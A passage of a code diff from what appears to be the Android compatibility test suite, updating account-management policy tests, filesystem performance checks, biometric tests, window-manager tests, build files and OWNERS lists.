-            //        .isEqualTo(EXISTING_ACCOUNT_TYPE);
+            assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+                    .isEqualTo(EXISTING_ACCOUNT_TYPE);
         } finally {
-            mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
-            // TODO(b/197491427): AccountManager support in TestApp
-            // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+            mDpm.clearUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
         }
     }
 
-    @Ignore("b/197491427")
     @Test
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void removeAccount_fromDpcWithDisallowModifyAccountsRestriction_accountRemoved()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
-            // TODO(b/197491427): AccountManager support in TestApp
-            // Do the following steps on the TestApp side:
-            // addAccountWithType(EXISTING_ACCOUNT_TYPE);
-            // Bundle result = removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+            addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
+            Bundle result = removeAccount(sDeviceState.dpc(), ACCOUNT_WITH_EXISTING_TYPE);
 
-            // assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
+            assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
         } finally {
             mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
         }
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
-    public void addAccount_withDisallowModifyAccountsRestriction_throwsException()
-            throws OperationCanceledException, AuthenticatorException, IOException {
+    public void addAccount_withDisallowModifyAccountsRestriction_throwsException() {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
@@ -241,17 +225,16 @@
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void removeAccount_withDisallowModifyAccountsRestriction_throwsException()
-            throws OperationCanceledException, AuthenticatorException, IOException,
-            InterruptedException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
-            addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
             assertThrows(OperationCanceledException.class, () ->
-                    removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+                    removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
         } finally {
             // Account is automatically removed when the test app is removed
             mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
@@ -259,7 +242,7 @@
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_withAccountManagementDisabled_throwsException() {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
@@ -273,17 +256,16 @@
     }
 
     @Test
-    @Postsubmit(reason = "new test with sleep")
+    @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void removeAccount_withAccountManagementDisabled_throwsException()
-            throws OperationCanceledException, AuthenticatorException, IOException,
-            InterruptedException {
+            throws Exception {
         try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
-            addAccountWithType(EXISTING_ACCOUNT_TYPE);
+            addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
 
             assertThrows(OperationCanceledException.class, () ->
-                    removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+                    removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
         } finally {
             // Account is automatically removed when the test app is removed
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
@@ -293,14 +275,25 @@
     /**
      * Blocks until an account of {@code type} is added.
      */
-    // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
-    private Bundle addAccountWithType(String type) {
+    // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+    private Bundle addAccountFromInstrumentedAppWithType(String type) {
         return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(type))
                 .toNotBeNull()
                 .errorOnFail()
                 .await();
     }
 
+    /**
+     * Blocks until an account of {@code type} is added.
+     */
+    // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+    private Bundle addAccountWithType(TestAppInstance testApp, String type) {
+        return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(testApp, type))
+                .toNotBeNull()
+                .errorOnFail()
+                .await();
+    }
+
     private Bundle addAccountWithTypeOnce(String type) throws Exception {
         return mAccountManager.addAccount(
                 type,
@@ -312,13 +305,23 @@
                 /* handler= */ null).getResult();
     }
 
+    private Bundle addAccountWithTypeOnce(TestAppInstance testApp, String type)
+            throws Exception {
+        return testApp.accountManager().addAccount(
+                type,
+                /* authTokenType= */ null,
+                /* requiredFeatures= */ null,
+                /* addAccountOptions= */ null,
+                /* activity= */ null,
+                /* callback= */ null,
+                /* handler= */ null).getResult();
+    }
+
     /**
      * Blocks until {@code account} is removed.
      */
-    // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
-    private Bundle removeAccount(Account account)
-            throws OperationCanceledException, IOException,
-            InterruptedException, AuthenticatorException {
+    private Bundle removeAccountFromInstrumentedApp(Account account)
+            throws Exception {
         return mAccountManager.removeAccount(
                 account,
                 /* activity= */ null,
@@ -326,4 +329,17 @@
                 /* handler= */ null)
                 .getResult();
     }
+
+    /**
+     * Blocks until {@code account} is removed.
+     */
+    private Bundle removeAccount(TestAppInstance testApp, Account account)
+            throws Exception {
+        return testApp.accountManager().removeAccount(
+                account,
+                /* activity= */ null,
+                /* callback= */  null,
+                /* handler= */ null)
+                .getResult();
+    }
 }
diff --git a/tests/filesystem/Android.bp b/tests/filesystem/Android.bp
index beac115..7023994 100644
--- a/tests/filesystem/Android.bp
+++ b/tests/filesystem/Android.bp
@@ -23,6 +23,7 @@
     static_libs: [
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        "MediaPerformanceClassCommon",
     ],
     srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
@@ -30,5 +31,5 @@
         "cts",
         "general-tests",
     ],
-    sdk_version: "test_current",
+    min_sdk_version: "30",
 }
diff --git a/tests/filesystem/AndroidManifest.xml b/tests/filesystem/AndroidManifest.xml
index f559247..36427b5 100644
--- a/tests/filesystem/AndroidManifest.xml
+++ b/tests/filesystem/AndroidManifest.xml
@@ -27,6 +27,7 @@
              android:exported="true">
         </activity>
     </application>
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.filesystem.cts"
             android:label="CTS tests for file system" />
diff --git a/tests/filesystem/AndroidTest.xml b/tests/filesystem/AndroidTest.xml
index 41b9073..3f0ddc0 100644
--- a/tests/filesystem/AndroidTest.xml
+++ b/tests/filesystem/AndroidTest.xml
@@ -26,8 +26,10 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.filesystem.cts" />
         <option name="runtime-hint" value="14m48s" />
-        <!-- test-timeout unit is ms, value = 60 min -->
-        <option name="test-timeout" value="3600000" />
+        <!-- test-timeout unit is ms, value = 70 min -->
+        <option name="test-timeout" value="4200000" />
+        <!-- shell-timeout unit is ms, value = 180 min for AlmostFullTest -->
+        <option name="shell-timeout" value="10800000" />
         <!-- disable isolated storage so tests can write report log -->
         <option name="isolated-storage" value="false" />
     </test>
diff --git a/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java b/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java
deleted file mode 100644
index d36a7f5..0000000
--- a/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.filesystem.cts;
-
-import android.os.Build;
-import android.os.Build;
-import android.os.SystemProperties;
-import android.util.Log;
-
-/**
- * Test utilities.
- */
-/* package private */ class MediaPerformanceClassUtils {
-    private static final int sPc = SystemProperties.getInt(
-        "ro.odm.build.media_performance_class", 0);
-
-    private static final String TAG = "PerformanceClassTestUtils";
-
-    /**
-     * First defined media performance class.
-     */
-    private static final int FIRST_PERFORMANCE_CLASS = Build.VERSION_CODES.R;
-
-    /**
-     * Latest defined media performance class.
-     */
-    /* TODO: make this S */
-    private static final int LAST_PERFORMANCE_CLASS = Build.VERSION_CODES.R + 1;
-
-    static {
-        if (sPc > 0) {
-            Log.d(TAG, "performance class is "  + sPc);
-        }
-    }
-
-    public static boolean isRPerfClass() {
-        return sPc == Build.VERSION_CODES.R;
-    }
-
-    public static boolean isSPerfClass() {
-        return sPc == Build.VERSION_CODES.R + 1; /* TODO: make this S */
-    }
-
-    public static int getPerfClass() {
-        return sPc;
-    }
-
-    public static boolean isPerfClass() {
-        return sPc >= FIRST_PERFORMANCE_CLASS &&
-               sPc <= LAST_PERFORMANCE_CLASS;
-    }
-}
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index 1017081..66d1e02 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -20,6 +20,8 @@
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import android.os.Environment;
+import android.mediapc.cts.common.Utils;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 
 import androidx.test.runner.AndroidJUnit4;
 
@@ -29,7 +31,9 @@
 import static org.junit.Assert.assertTrue;
 
 import org.junit.After;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
@@ -37,19 +41,9 @@
     private static final String DIR_RANDOM_WR = "RANDOM_WR";
     private static final String DIR_RANDOM_RD = "RANDOM_RD";
     private static final String REPORT_LOG_NAME = "CtsFileSystemTestCases";
-    private static final double MIN_READ_MBPS;
-    private static final double MIN_WRITE_MBPS;
 
-    static {
-        if (MediaPerformanceClassUtils.isRPerfClass()) {
-            MIN_READ_MBPS = 25;
-            MIN_WRITE_MBPS = 10;
-        } else {
-            // Performance class Build.VERSION_CODES.S and beyond
-            MIN_READ_MBPS = 40;
-            MIN_WRITE_MBPS = 10;
-        }
-    }
+    @Rule
+    public final TestName mTestName = new TestName();
 
     @After
     public void tearDown() throws Exception {
@@ -57,7 +51,7 @@
         FileUtil.removeFileOrDir(getContext(), DIR_RANDOM_RD);
     }
 
-    @CddTest(requirement="8.2")
+    @CddTest(requirements = {"8.2/H-1-4"})
     @Test
     public void testRandomRead() throws Exception {
         final int READ_BUFFER_SIZE = 4 * 1024;
@@ -71,14 +65,18 @@
         double mbps = FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize,
                 READ_BUFFER_SIZE);
         report.submit(getInstrumentation());
-        if (MediaPerformanceClassUtils.isPerfClass()) {
-            assertTrue("measured " + mbps + " is less than target (" + MIN_READ_MBPS + " MBPS)",
-                       mbps >= MIN_READ_MBPS);
-        }
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_4 = pce.addR8_2__H_1_4();
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_4 = pce.addR8_2__H_2_4();
+        r8_2__H_1_4.setFilesystemIoRate(mbps);
+        r8_2__H_2_4.setFilesystemIoRate(mbps);
+
+        pce.submitAndCheck();
     }
 
     // It is taking too long in some device, and thus cannot run multiple times
-    @CddTest(requirement="8.2")
+    @CddTest(requirements = {"8.2/H-1-2"})
     @Test
     public void testRandomUpdate() throws Exception {
         final int WRITE_BUFFER_SIZE = 4 * 1024;
@@ -97,10 +95,13 @@
                 WRITE_BUFFER_SIZE);
         }
         report.submit(getInstrumentation());
-        if (MediaPerformanceClassUtils.isPerfClass()) {
-            // for performance class devices we must be able to write 256MB
-            assertTrue("measured " + mbps + " is less than target (" + MIN_WRITE_MBPS + " MBPS)",
-                       mbps >= MIN_WRITE_MBPS);
-        }
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_2 = pce.addR8_2__H_1_2();
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_2 = pce.addR8_2__H_2_2();
+        r8_2__H_1_2.setFilesystemIoRate(mbps);
+        r8_2__H_2_2.setFilesystemIoRate(mbps);
+
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index a3e6f83..1beb91a 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -17,6 +17,8 @@
 package android.filesystem.cts;
 
 import android.util.Log;
+import android.mediapc.cts.common.Utils;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 
 import static androidx.test.InstrumentationRegistry.getContext;
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
@@ -34,7 +36,9 @@
 import static org.junit.Assert.assertTrue;
 
 import org.junit.After;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
 import java.io.File;
@@ -50,19 +54,9 @@
     private static final String DIR_SEQ_RD = "SEQ_RD";
     private static final String REPORT_LOG_NAME = "CtsFileSystemTestCases";
     private static final int BUFFER_SIZE = 10 * 1024 * 1024;
-    private static final double MIN_READ_MBPS;
-    private static final double MIN_WRITE_MBPS;
 
-    static {
-        if (MediaPerformanceClassUtils.isRPerfClass()) {
-            MIN_READ_MBPS = 200;
-            MIN_WRITE_MBPS = 100;
-        } else {
-            // Performance class Build.VERSION_CODES.S and beyond
-            MIN_READ_MBPS = 250;
-            MIN_WRITE_MBPS = 125;
-        }
-    }
+    @Rule
+    public final TestName mTestName = new TestName();
 
     @After
     public void tearDown() throws Exception {
@@ -71,7 +65,7 @@
         FileUtil.removeFileOrDir(getContext(), DIR_SEQ_RD);
     }
 
-    @CddTest(requirement="8.2")
+    @CddTest(requirements = {"8.2/H-1-1"})
     @Test
     public void testSingleSequentialWrite() throws Exception {
         final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), BUFFER_SIZE);
@@ -104,10 +98,13 @@
         Log.v(TAG, "sequential write " + stat.mAverage + " MBPS");
         report.submit(getInstrumentation());
 
-        if (MediaPerformanceClassUtils.isPerfClass()) {
-            assertTrue("measured " + stat.mAverage + " is less than target (" + MIN_WRITE_MBPS +
-                       " MBPS)", stat.mAverage >= MIN_WRITE_MBPS);
-        }
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_1 = pce.addR8_2__H_1_1();
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_1 = pce.addR8_2__H_2_1();
+        r8_2__H_1_1.setFilesystemIoRate(stat.mAverage);
+        r8_2__H_2_1.setFilesystemIoRate(stat.mAverage);
+
+        pce.submitAndCheck();
     }
 
     @Test
@@ -123,7 +120,7 @@
                 NUMBER_REPETITION, REPORT_LOG_NAME, streamName);
     }
 
-    @CddTest(requirement="8.2")
+    @CddTest(requirements = {"8.2/H-1-3"})
     @Test
     public void testSingleSequentialRead() throws Exception {
         final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), BUFFER_SIZE);
@@ -166,9 +163,12 @@
         Log.v(TAG, "sequential read " + stat.mAverage + " MBPS");
         report.submit(getInstrumentation());
 
-        if (MediaPerformanceClassUtils.isPerfClass()) {
-            assertTrue("measured " + stat.mAverage + " is less than target (" + MIN_READ_MBPS +
-                       " MBPS)", stat.mAverage >= MIN_READ_MBPS);
-        }
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_1_3 = pce.addR8_2__H_1_3();
+        PerformanceClassEvaluator.FileSystemRequirement r8_2__H_2_3 = pce.addR8_2__H_2_3();
+        r8_2__H_1_3.setFilesystemIoRate(stat.mAverage);
+        r8_2__H_2_3.setFilesystemIoRate(stat.mAverage);
+
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/framework/base/biometrics/Android.bp b/tests/framework/base/biometrics/Android.bp
index 6037de4..66c8134 100644
--- a/tests/framework/base/biometrics/Android.bp
+++ b/tests/framework/base/biometrics/Android.bp
@@ -43,7 +43,12 @@
         "ub-uiautomator",
     ],
     srcs: ["src/**/*.java"],
+    data: [
+        ":CtsBiometricServiceTestApp",
+        ":CtsFingerprintServiceTestApp",
+    ],
     sdk_version: "test_current",
+    per_testcase_directory: true,
 }
 
 java_test_helper_library {
diff --git a/tests/framework/base/biometrics/OWNERS b/tests/framework/base/biometrics/OWNERS
index 15711bb..14fbfd7 100644
--- a/tests/framework/base/biometrics/OWNERS
+++ b/tests/framework/base/biometrics/OWNERS
@@ -1,2 +1,8 @@
 # Bug component: 879035
-kchyn@google.com
\ No newline at end of file
+
+graciecheng@google.com
+ilyamaty@google.com
+jaggies@google.com
+jbolinger@google.com
+joshmccloskey@google.com
+kchyn@google.com
diff --git a/tests/framework/base/biometrics/apps/biometrics/Android.bp b/tests/framework/base/biometrics/apps/biometrics/Android.bp
index 151e79b..4dc5e220 100644
--- a/tests/framework/base/biometrics/apps/biometrics/Android.bp
+++ b/tests/framework/base/biometrics/apps/biometrics/Android.bp
@@ -30,6 +30,7 @@
     ],
 
     sdk_version: "test_current",
+    per_testcase_directory: true,
 
     test_suites: [
         "cts",
diff --git a/tests/framework/base/biometrics/apps/fingerprint/Android.bp b/tests/framework/base/biometrics/apps/fingerprint/Android.bp
index 381d669..295404e 100644
--- a/tests/framework/base/biometrics/apps/fingerprint/Android.bp
+++ b/tests/framework/base/biometrics/apps/fingerprint/Android.bp
@@ -30,6 +30,7 @@
     ],
 
     sdk_version: "test_current",
+    per_testcase_directory: true,
 
     test_suites: [
         "cts",
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
index 716db8d..d07c3ce 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
@@ -174,15 +174,31 @@
         // Third case above. Since the deprecated API is intended to allow credential in addition
         // to biometrics, we should be receiving BIOMETRIC_ERROR_NO_BIOMETRICS.
         final boolean noSensors = mSensorProperties.isEmpty();
+        int expectedError;
+        if (noSensors) {
+            expectedError = BiometricPrompt.BIOMETRIC_ERROR_NO_DEVICE_CREDENTIAL;
+        } else if (hasOnlyConvenienceSensors()) {
+            expectedError = BiometricPrompt.BIOMETRIC_ERROR_HW_NOT_PRESENT;
+        } else {
+            expectedError = BiometricPrompt.BIOMETRIC_ERROR_NO_BIOMETRICS;
+        }
         callback = mock(BiometricPrompt.AuthenticationCallback.class);
         showDeviceCredentialAllowedBiometricPrompt(callback, new CancellationSignal(),
                 false /* shouldShow */);
         verify(callback).onAuthenticationError(
-                eq(noSensors ? BiometricPrompt.BIOMETRIC_ERROR_NO_DEVICE_CREDENTIAL
-                        : BiometricPrompt.BIOMETRIC_ERROR_NO_BIOMETRICS),
+                eq(expectedError),
                 any());
     }
 
+    private boolean hasOnlyConvenienceSensors() {
+        for (SensorProperties sensor : mSensorProperties) {
+            if (sensor.getSensorStrength() != SensorProperties.STRENGTH_CONVENIENCE) {
+                return false;
+            }
+        }
+        return true;
+    }
+
     /**
      * When device credential is enrolled, check the behavior for
      * 1) BiometricManager#canAuthenticate(DEVICE_CREDENTIAL)
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java b/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java
index 91e31ab..e691a72 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java
@@ -19,6 +19,7 @@
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import android.content.ComponentName;
+import android.content.Context;
 import android.hardware.biometrics.BiometricManager;
 import android.hardware.biometrics.BiometricPrompt;
 import android.hardware.biometrics.SensorProperties;
@@ -273,4 +274,17 @@
         }
         return false;
     }
+
+    /**
+     * Retrieves HIDL biometric sensor configuration defined in config_biometric_sensors.
+     *
+     * @param context The system context.
+     * @return List of biometric sensors on the device, in decreasing strength, otherwise null.
+     */
+    @Nullable
+    public static String[] getSensorConfiguration(Context context) {
+        final int sensorConfigId = context.getResources().getSystem().getIdentifier(
+                "config_biometric_sensors", "array", "android");
+        return context.getResources().getSystem().getStringArray(sensorConfigId);
+    }
 }
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java
index a81d5c6..730b533 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java
@@ -281,8 +281,16 @@
         // and do not dispatch an acquired event via BiometricPrompt
         final boolean verifyPartial = !hasUdfps();
         if (verifyPartial) {
-            testSessions.get(0).notifyAcquired(userId,
-                    FingerprintManager.FINGERPRINT_ACQUIRED_PARTIAL);
+            final String[] configs = Utils.getSensorConfiguration(mContext);
+            if (configs == null || configs.length == 0) {
+                // AIDL HAL do not need config_biometric_sensors.
+                testSessions.get(0).notifyAcquired(userId, 2 /* AcquiredInfo.PARTIAL */);
+            } else {
+                // HIDL HAL requires config_biometric_sensors.
+                testSessions.get(0).notifyAcquired(userId,
+                        FingerprintManager.FINGERPRINT_ACQUIRED_PARTIAL);
+            }
+
             mInstrumentation.waitForIdleSync();
             callbackState = getCallbackState(journal);
             assertNotNull(callbackState);
diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp
index 4d00ee2..a14a7e8 100644
--- a/tests/framework/base/windowmanager/Android.bp
+++ b/tests/framework/base/windowmanager/Android.bp
@@ -76,4 +76,27 @@
     ],
 
     sdk_version: "test_current",
+    data: [
+        ":CtsDragAndDropSourceApp",
+        ":CtsDragAndDropTargetApp",
+        ":CtsDeviceAlertWindowTestApp",
+        ":CtsAlertWindowService",
+        ":CtsDeviceServicesTestApp",
+        ":CtsDeviceServicesTestApp27",
+        ":CtsDeviceServicesTestApp30",
+        ":CtsDeviceServicesTestSecondApp",
+        ":CtsDeviceServicesTestThirdApp",
+        ":CtsDeviceDeprecatedSdkApp",
+        ":CtsDeviceDisplaySizeApp",
+        ":CtsDevicePrereleaseSdkApp",
+        ":CtsDeviceProfileableApp",
+        ":CtsDeviceTranslucentTestApp",
+        ":CtsDeviceTranslucentTestApp26",
+        ":CtsMockInputMethod",
+        ":CtsDeviceServicesTestShareUidAppA",
+        ":CtsDeviceServicesTestShareUidAppB",
+        ":CtsDragAndDropTargetAppSdk23",
+        ":CtsDeviceAlertWindowTestAppSdk25",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/framework/base/windowmanager/OWNERS b/tests/framework/base/windowmanager/OWNERS
index 1f50516..5cee672 100644
--- a/tests/framework/base/windowmanager/OWNERS
+++ b/tests/framework/base/windowmanager/OWNERS
@@ -27,3 +27,8 @@
 # others
 # Bug template url: https://b.corp.google.com/issues/new?component=316125&template=1018199
 include platform/frameworks/base:/services/core/java/com/android/server/wm/OWNERS
+
+brufino@google.com
+charlesccchen@google.com
+lumark@google.com
+lus@google.com
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/UnresponsiveActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/UnresponsiveActivity.java
index 1a13255..4be0399 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/UnresponsiveActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/UnresponsiveActivity.java
@@ -42,9 +42,9 @@
         super.onResume();
         final int delay = getIntent().getIntExtra(EXTRA_DELAY_UI_THREAD_MS, 0);
         final Handler handler = new Handler();
-        handler.postDelayed(() -> {
+        handler.post(() -> {
             SystemClock.sleep(delay);
-        }, 100);
+        });
 
     }
 
diff --git a/tests/framework/base/windowmanager/backgroundactivity/OWNERS b/tests/framework/base/windowmanager/backgroundactivity/OWNERS
index fcaa235..24f75de 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/OWNERS
+++ b/tests/framework/base/windowmanager/backgroundactivity/OWNERS
@@ -1,2 +1,2 @@
-alanstokes@google.com
 brufino@google.com
+rickywai@google.com
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
index 9293ed9..937e223 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
@@ -291,8 +291,12 @@
         final String startTestActivityCmd = "am start -W " + TEST_ACTIVITY.flattenToShortString();
         SystemUtil.runShellCommand(startTestActivityCmd);
 
-        // Launch another task and make sure a configuration change triggers relaunch.
-        launchAndWaitForActivity(SECOND_ACTIVITY);
+        mWmState.computeState();
+        // On multiple screen devices, tasks may be launched in different task display areas. Make
+        // sure the tasks will be launched in the same TDA.
+        int targetDisplayAreaId = mWmState.getTaskDisplayAreaFeatureId(TEST_ACTIVITY);
+
+        launchAndWaitForActivity(SECOND_ACTIVITY, targetDisplayAreaId);
         separateTestJournal();
 
         final FontScaleSession fontScaleSession = createManagedFontScaleSession();
@@ -435,12 +439,22 @@
     }
 
     private void launchAndWaitForActivity(ComponentName activity) {
-        getLaunchActivityBuilder()
+        getLaunchActivityBuilder(activity)
+                .execute();
+    }
+
+    private void launchAndWaitForActivity(ComponentName activity, int targetDisplayAreaId) {
+        getLaunchActivityBuilder(activity)
+                .setLaunchTaskDisplayAreaFeatureId(targetDisplayAreaId)
+                .execute();
+    }
+
+    private LaunchActivityBuilder getLaunchActivityBuilder(ComponentName activity) {
+        return getLaunchActivityBuilder()
                 .setUseInstrumentation()
                 .setTargetActivity(activity)
                 .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
-                .setWaitForLaunched(true)
-                .execute();
+                .setWaitForLaunched(true);
     }
 
     @NonNull
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 572134f..8d73c17 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -52,6 +52,7 @@
 import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_FROM_TRANSLUCENT;
 import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
@@ -349,16 +350,16 @@
         if (!hasHomeScreen()) {
             return;
         }
+        mWmState.computeState();
+        final int homeTaskDisplayAreaFeatureId =
+                mWmState.getTaskDisplayAreaFeatureId(mWmState.getHomeActivityName());
+
         // Start LaunchingActivity and BroadcastReceiverActivity in two separate tasks.
         getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
                 .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                .setLaunchTaskDisplayAreaFeatureId(homeTaskDisplayAreaFeatureId)
                 .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
         waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
-        // Home activity can still be visible if the BROADCAST_RECEIVER_ACTIVITY is not in the
-        // same TaskDisplayArea.
-        assumeTrue("Should launch on same TaskDisplayArea" ,
-                mWmState.getTaskDisplayArea(BROADCAST_RECEIVER_ACTIVITY) ==
-                        mWmState.getTaskDisplayArea(mWmState.getHomeActivityName()));
         final int taskId = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId;
